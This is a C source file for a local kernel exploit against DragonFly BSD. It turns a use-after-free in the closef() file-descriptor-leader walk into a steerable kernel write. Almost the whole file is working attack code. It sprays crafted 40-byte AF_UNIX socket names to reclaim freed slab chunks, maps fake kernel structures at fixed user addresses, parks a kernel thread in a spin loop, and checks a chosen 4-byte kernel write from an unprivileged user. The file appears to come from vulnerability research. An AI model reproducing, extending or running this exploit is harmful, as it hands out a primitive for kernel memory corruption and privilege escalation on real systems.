DF-5792 / exp5792.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 | /* * DF-5792 exploit chain v2 — marker-reclaim of the verified closef() * fdtol-walk UAF, turned into a steerable kernel write machine. * (uid 1001, stock DragonFly 6.5-DEVELOPMENT) * * The verified bug: closef() walks the filedesc_to_leader chain under * only p->p_token (kern_descrip.c:3071-3088) while fdfree() unlinks and * kfrees entries under fdp->fd_spin (kern_descrip.c:2675-2688). A * walker traverses a STALE snapshot of the chain; entries freed during * the walk are chased through freed memory (the original rig's fatal * traps came from fork's M_ZERO recycle hitting the walk). * * This version replaces the fork-recycle with MARKER sonames: binder * spinners continuously bind 40-byte AF_UNIX sockaddrs (the exact 40B * slab zone of struct filedesc_to_leader) containing crafted fdtol * fields: fdl_leader = FLAG1 user page (byte +0x58 = 1 -> ACT branch), * fdl_next = SPIN user page (self-loop -> the walk parks in close()). * * Win condition: a walker chases into a freed entry that a marker * reclaimed: gate passes (flag byte != 0) -> * addl $1,(chunk+4); VOP_ADVLOCK(vp, FLAG1, F_UNLCK); subl $1,(chunk+4); * wakeup-check; fdtol = *(chunk+0x20) = SPIN -> park. * Detected by the walker's progress counter stalling. * * Then we steer: SPIN->next = victim soname V (2-char path so +4 == 0; * +8 = 0x41414141; leader = FLAG1; next = SPIN2). The parked walk * visits V, the kernel executes * if (*(int*)(V+4)==0 && *(int*)(V+8)!=0) *(int*)(V+8) = 0; wakeup(V); * and chases to SPIN2 (re-park). pcblist exports the soname bytes * (bcopy verbatim, DF-5816) => readback proves the kernel write. * * build: cc -O2 -o exp5792 exp5792.c * run: ./exp5792 [seconds] */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <stdint.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/sysctl.h> #include <sys/stat.h> #include <sys/un.h> #include <sys/resource.h> #include <time.h> #include <sys/wait.h> #include <dirent.h> #define RFPROC (1<<4) #define RFMEM (1<<5) #define RFNOWAIT (1<<6) #define RFSIGSHARE (1<<14) /* user pages, kernel-reachable (no SMAP on this guest) */ #define FLAG0_PAGE 0x31000000UL /* byte[0x58] = 0 -> continue (no act) */ #define FLAG1_PAGE 0x31001000UL /* byte[0x58] = 1 -> ACT branch */ #define SPIN_PAGE 0x31002000UL /* +0x10=FLAG0, +0x20=self (park) */ #define SPIN2_PAGE 0x31003000UL /* re-park after the write */ #define NSTACKS 16384 #define STACKSIZE (64*1024) #define NWALKER 1 #define NBINDER 6 #define NFILLER 60 #define MAXVICTIM 40 /* pcblist record layout (struct xunpcb = 912, DF-5816-verified) */ #define REC 912 #define XU_ADDRPTR 64 #define XU_SONAME 224 #define XU_PATH (XU_SONAME + 2) static char *stacks; static volatile int stop_all = 0; static volatile long bind_count = 0; static volatile long fork_count = 0; static volatile long walk_count[NWALKER]; static volatile int parked_walker = -1; static const char *lockpath = "/tmp/df5792v2.lock"; static char workdir[64]; static volatile unsigned long victim_addr_global; extern pid_t rfork_thread(int, void *, int (*)(void *), void *); static int count_fds(void) { int fd, n = 0; for (fd = 0; fd < 2048; fd++) if (fcntl(fd, F_GETFL) >= 0) n++; return n; } static double now(void) { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return ts.tv_sec + ts.tv_nsec / 1e9; } static void *stack_top(int i) { return stacks + (size_t)i * STACKSIZE + STACKSIZE - 16; } static int next_stack_ix = 1024; static void *next_stack(void) { int ix = __sync_fetch_and_add(&next_stack_ix, 1); return stack_top(ix % NSTACKS); } /* ---------------- pcblist ------------------------------------------- */ static unsigned char *pcb_buf; static size_t pcb_len; static int pcb_snap(void) { size_t len = 0; free(pcb_buf); pcb_buf = NULL; pcb_len = 0; if (sysctlbyname("net.local.dgram.pcblist", NULL, &len, NULL, 0) < 0) return -1; if (len == 0) return 0; pcb_buf = malloc(len); if (!pcb_buf) return -1; if (sysctlbyname("net.local.dgram.pcblist", pcb_buf, &len, NULL, 0) < 0) { free(pcb_buf); pcb_buf = NULL; return -1; } pcb_len = len; return 0; } static unsigned long pcb_get(unsigned long off) { unsigned long v; if (off + 8 > pcb_len) return 0; memcpy(&v, pcb_buf + off, 8); return v; } static unsigned long pcb_find_rec(const char *prefix) { size_t i, n = pcb_len / REC, plen = strlen(prefix); for (i = 0; i < n; i++) { unsigned long base = i * REC; if (base + XU_PATH + plen > pcb_len) break; if (strncmp((const char *)pcb_buf + base + XU_PATH, prefix, plen) == 0) return base; } return (unsigned long)-1; } static unsigned long pcb_addr_of(const char *prefix) { unsigned long base = pcb_find_rec(prefix); if (base == (unsigned long)-1) return 0; return pcb_get(base + XU_ADDRPTR); } static int pcb_soname_byte(unsigned long base, int off) { if (base == (unsigned long)-1 || base + XU_SONAME + off + 1 > pcb_len) return -1; return pcb_buf[base + XU_SONAME + off]; } /* ---------------- soname helpers ------------------------------------- */ static int bind40(const char *path, unsigned long leader, unsigned long next, unsigned long wake) { struct sockaddr_un sun; int s, plen = (int)strlen(path); unsigned char *b; memset(&sun, 0, sizeof(sun)); sun.sun_len = 40; sun.sun_family = AF_UNIX; memcpy(sun.sun_path, path, (size_t)plen + 1); b = (unsigned char *)&sun; memcpy(b + 8, &wake, 4); memcpy(b + 16, &leader, 8); memcpy(b + 32, &next, 8); s = socket(AF_UNIX, SOCK_DGRAM, 0); if (s < 0) return -1; if (bind(s, (struct sockaddr *)&sun, 40) < 0) { close(s); return -1; } bind_count++; return s; } static void unbind40(int fd, const char *path) { close(fd); unlink(path); } /* ---------------- family threads ------------------------------------- */ static int baby_main(void *arg) { (void)arg; return 0; /* RFMEM (non-RFTHREAD) member: exit unlinks+kfrees */ } static int walker_main(void *arg) { int wi = (int)(intptr_t)arg; int fd; /* take+drop a read lock: sets our leader's p_advlock_flag only * while held; VMAYHAVELOCKS on the vnode is sticky either way */ while (!stop_all) { fd = open(lockpath, O_RDONLY); if (fd >= 0) close(fd); /* closef(): walks the fdtol chain */ walk_count[wi]++; } return 0; } static volatile int filler_exit[NFILLER]; static volatile int burst_gen = 0; static int filler_main(void *arg) { int fi = (int)(intptr_t)arg; int fd; struct flock fl; /* one read lock: p_advlock_flag is sticky for life, so every * walker visiting our fdtol entry pays a full VOP_ADVLOCK * (scan of the armed range list) -> walks are slow -> the * in-walk UAF window is wide. */ fd = open(lockpath, O_RDONLY); if (fd >= 0) { memset(&fl, 0, sizeof(fl)); fl.l_type = F_RDLCK; fl.l_whence = SEEK_SET; fl.l_start = (off_t)(1000 + fi); fl.l_len = 1; fcntl(fd, F_SETLK, &fl); close(fd); } while (!stop_all) usleep(100000); return 0; } static int binder_main(void *arg) { int bi = (int)(intptr_t)arg; char path[16]; int held[160], nheld = 0, j; int id = bi * 10000; char heldpath[160][16]; long fails = 0; { char dbuf[16]; snprintf(dbuf, sizeof(dbuf), "d%d", bi); mkdir(dbuf, 0777); if (chdir(dbuf) < 0) return 0; } while (!stop_all) { int s, mygen = burst_gen; /* idle phase: light churn keeps markers flowing */ snprintf(path, sizeof(path), "m%04x", (id++) & 0xffff); s = bind40(path, FLAG1_PAGE, SPIN_PAGE, 0); if (s >= 0) { if (nheld >= 96) { for (j = 0; j < nheld; j++) unbind40(held[j], heldpath[j]); nheld = 0; } held[nheld] = s; strlcpy(heldpath[nheld], path, sizeof(path)); nheld++; } else { fails++; usleep(200); } /* burst phase: pure alloc-hold drains the local freelist, * pulling remotely-freed chunks (z_RChunks) into LChunks * so the just-freed fdtol chunk gets reclaimed as a * marker soname. */ while (burst_gen != mygen && !stop_all) { while (nheld < 150) { snprintf(path, sizeof(path), "m%04x", (id++) & 0xffff); s = bind40(path, FLAG1_PAGE, SPIN_PAGE, 0); if (s < 0) break; held[nheld] = s; strlcpy(heldpath[nheld], path, sizeof(path)); nheld++; } for (j = 0; j < nheld; j++) unbind40(held[j], heldpath[j]); nheld = 0; mygen = burst_gen; } } for (j = 0; j < nheld; j++) unbind40(held[j], heldpath[j]); return 0; } static int helper_main(void *arg) { int n = (int)(intptr_t)arg; int fd, i; struct flock fl; fd = open(lockpath, O_RDONLY); if (fd < 0) return 0; for (i = 0; i < n; i++) { memset(&fl, 0, sizeof(fl)); fl.l_type = F_RDLCK; fl.l_whence = SEEK_SET; fl.l_start = (off_t)(100000 + n * 4096 + i); fl.l_len = 1; if (fcntl(fd, F_SETLK, &fl) < 0) break; } while (!stop_all) pause(); return 0; } static int churner_main(void *arg) { (void)arg; while (!stop_all) { if (rfork_thread(RFPROC | RFMEM | RFNOWAIT, next_stack(), baby_main, NULL) >= 0) fork_count++; } return 0; } /* ---------------- main ------------------------------------------------ */ int main(int argc, char **argv) { double runlen = 90.0, t0, last; struct flock fl; struct rlimit rl; int lockfd, i, fd; unsigned long c0[NWALKER]; if (argc > 1) runlen = atof(argv[1]); rl.rlim_cur = 1024; rl.rlim_max = 1024; setrlimit(RLIMIT_NOFILE, &rl); snprintf(workdir, sizeof(workdir), "/tmp/df5792v2.d.%d", getpid()); mkdir(workdir, 0777); if (chdir(workdir) < 0) { perror("chdir"); return 1; } stacks = mmap(NULL, (size_t)NSTACKS * STACKSIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); if (stacks == MAP_FAILED) { perror("mmap stacks"); return 1; } { void *p; p = mmap((void *)FLAG0_PAGE, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0); if (p == MAP_FAILED) { perror("mmap flag0"); return 1; } p = mmap((void *)FLAG1_PAGE, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0); if (p == MAP_FAILED) { perror("mmap flag1"); return 1; } p = mmap((void *)SPIN_PAGE, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0); if (p == MAP_FAILED) { perror("mmap spin"); return 1; } p = mmap((void *)SPIN2_PAGE, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0); if (p == MAP_FAILED) { perror("mmap spin2"); return 1; } memset((void *)FLAG0_PAGE, 0, 4096); memset((void *)FLAG1_PAGE, 0, 4096); ((unsigned char *)FLAG1_PAGE)[0x58] = 1; /* ACT gate */ *(unsigned long *)(SPIN_PAGE + 0x10) = FLAG0_PAGE; *(volatile unsigned long *)(SPIN_PAGE + 0x20) = SPIN_PAGE; *(unsigned long *)(SPIN2_PAGE + 0x10) = FLAG0_PAGE; *(volatile unsigned long *)(SPIN2_PAGE + 0x20) = SPIN2_PAGE; } lockfd = open(lockpath, O_RDWR | O_CREAT, 0666); if (lockfd < 0) { perror("open lockfile"); return 1; } write(lockfd, "x", 1); memset(&fl, 0, sizeof(fl)); fl.l_type = F_WRLCK; fl.l_whence = SEEK_SET; if (fcntl(lockfd, F_SETLK, &fl) < 0) perror("F_SETLK (nonfatal)"); fl.l_type = F_UNLCK; fcntl(lockfd, F_SETLK, &fl); /* VMAYHAVELOCKS stays set */ /* victims: 2-char paths => bytes 4..7 == 0 (holdcount gate); * +8 = 0x41414141 (the dword the kernel will zero); * leader = FLAG1 (ACT); next = SPIN2 (re-park after the write) */ { const char *cs = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMN"; int vfds[MAXVICTIM], nv = 0; char vpaths[MAXVICTIM][8]; for (i = 0; cs[i] && nv < MAXVICTIM; i++) { char p[4]; snprintf(p, sizeof(p), "v%c", cs[i]); fd = bind40(p, FLAG1_PAGE, SPIN2_PAGE, 0x41414141UL); if (fd < 0) break; vfds[nv] = fd; strlcpy(vpaths[nv], p, sizeof(vpaths[0])); nv++; } fprintf(stderr, "victims bound: %d\n", nv); (void)vfds; (void)vpaths; } /* binders first: they must own the 40B recycle stream */ for (i = 0; i < NBINDER; i++) if (rfork_thread(RFPROC | RFMEM | RFSIGSHARE, stack_top(32 + i), binder_main, (void *)(intptr_t)i) < 0) perror("rfork binder (nonfatal)"); usleep(100000); /* walkers */ for (i = 0; i < NWALKER; i++) if (rfork_thread(RFPROC | RFMEM | RFSIGSHARE, stack_top(64 + i), walker_main, (void *)(intptr_t)i) < 0) perror("rfork walker (nonfatal)"); usleep(100000); /* persistent flagged fillers: deepen the chain */ for (i = 0; i < NFILLER; i++) { if (rfork_thread(RFPROC | RFMEM | RFSIGSHARE, stack_top(128 + i), filler_main, (void *)(intptr_t)i) < 0) break; usleep(2000); } fprintf(stderr, "persistent fillers: %d\n", i); /* non-family helpers: 3 x 500 permanent read ranges */ for (i = 0; i < 3; i++) { pid_t hp = fork(); if (hp == 0) _exit(helper_main(200)); } usleep(400000); /* churners: paced baby fork+exit (the frees, µs-lived -> local) */ for (i = 0; i < 2; i++) { if (rfork_thread(RFPROC | RFMEM | RFSIGSHARE, stack_top(600 + i), churner_main, (void *)(intptr_t)i) < 0) perror("rfork churner (nonfatal)"); } fprintf(stderr, "setup: binders x%d, walkers x%d, fillers, " "helpers, churners...\n", NBINDER, NWALKER); t0 = last = now(); for (i = 0; i < NWALKER; i++) { walk_count[i] = 0; c0[i] = 0; } { int vi = 0, verified = 0, stalled_once = 0; double lchange[NWALKER], lstat = now(); for (i = 0; i < NWALKER; i++) lchange[i] = now(); while (now() - t0 < runlen && !verified) { int w, any_stalled = 0; usleep(25000); while (waitpid(-1, NULL, WNOHANG) > 0) ; for (w = 0; w < NWALKER; w++) { if (walk_count[w] != c0[w]) lchange[w] = now(); c0[w] = walk_count[w]; if (now() - lchange[w] > 0.5 && walk_count[w] > 100) any_stalled = 1; } if (now() - lstat >= 5.0) { lstat = now(); fprintf(stderr, "t=%5.1f binds=%ld forks=%ld " "openfds=%d walks:", now() - t0, bind_count, fork_count, count_fds()); for (w = 0; w < NWALKER; w++) fprintf(stderr, " %ld", walk_count[w]); fprintf(stderr, "\n"); } if (any_stalled) { char pfx[4]; unsigned long vrec, va; int k, zeroed; if (!stalled_once) { stalled_once = 1; fprintf(stderr, "*** walker stall " "detected; steer-verify ***\n"); } if (vi >= 40) continue; snprintf(pfx, sizeof(pfx), "v%c", "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMN"[vi]); vi++; if (pcb_snap() < 0) continue; vrec = pcb_find_rec(pfx); va = pcb_get(vrec + XU_ADDRPTR); if (!va) continue; *(volatile unsigned long *) (SPIN_PAGE + 0x20) = va; *(volatile unsigned long *) (SPIN2_PAGE + 0x20) = va; usleep(300000); if (pcb_snap() < 0) continue; vrec = pcb_find_rec(pfx); zeroed = 1; for (k = 8; k < 12; k++) if (pcb_soname_byte(vrec, k) != 0) zeroed = 0; fprintf(stderr, "[verify %d] victim 0x%lx +8..+11 = " "%02x%02x%02x%02x %s\n", vi - 1, va, pcb_soname_byte(vrec, 11), pcb_soname_byte(vrec, 10), pcb_soname_byte(vrec, 9), pcb_soname_byte(vrec, 8), zeroed ? "*** KERNEL WRITE VERIFIED ***" : "(no)"); if (zeroed) verified = 1; } } if (verified) { char pfx[4]; unsigned long vrec, va; int k, zeroed = 1; fprintf(stderr, "*** SUCCESS: parked closef() walk " "steered to victim; kernel zeroed 4 bytes " "at a chosen kernel address ***\n"); /* stop the storm; the parked walker remains under * our control (user-page steering) */ stop_all = 1; usleep(800000); /* second, race-free steer from SPIN2 to victim b */ if (pcb_snap() == 0) { vrec = pcb_find_rec("vb"); va = pcb_get(vrec + XU_ADDRPTR); if (va) { fprintf(stderr, "[sess2] steering " "SPIN2 -> victim b 0x%lx; " "pre +8..+11 = %02x%02x%02x" "%02x\n", va, pcb_soname_byte(vrec, 11), pcb_soname_byte(vrec, 10), pcb_soname_byte(vrec, 9), pcb_soname_byte(vrec, 8)); *(volatile unsigned long *) (SPIN2_PAGE + 0x20) = va; usleep(500000); if (pcb_snap() == 0) { vrec = pcb_find_rec("vb"); for (k = 8; k < 12; k++) if (pcb_soname_byte(vrec, k) != 0) zeroed = 0; fprintf(stderr, "[sess2] post " "+8..+11 = %02x%02x" "%02x%02x %s\n", pcb_soname_byte(vrec, 11), pcb_soname_byte(vrec, 10), pcb_soname_byte(vrec, 9), pcb_soname_byte(vrec, 8), zeroed ? "*** SECOND " "KERNEL WRITE VERIFIED " "(race-free steer) ***" : "(no)"); } } } fprintf(stderr, "uid=%d euid=%d; system alive; " "one walker parked in kernel spin at our " "user page\n", getuid(), geteuid()); } } stop_all = 1; usleep(300000); fprintf(stderr, "done (parked walker remains in kernel spin; " "system otherwise alive)\n"); return 0; } |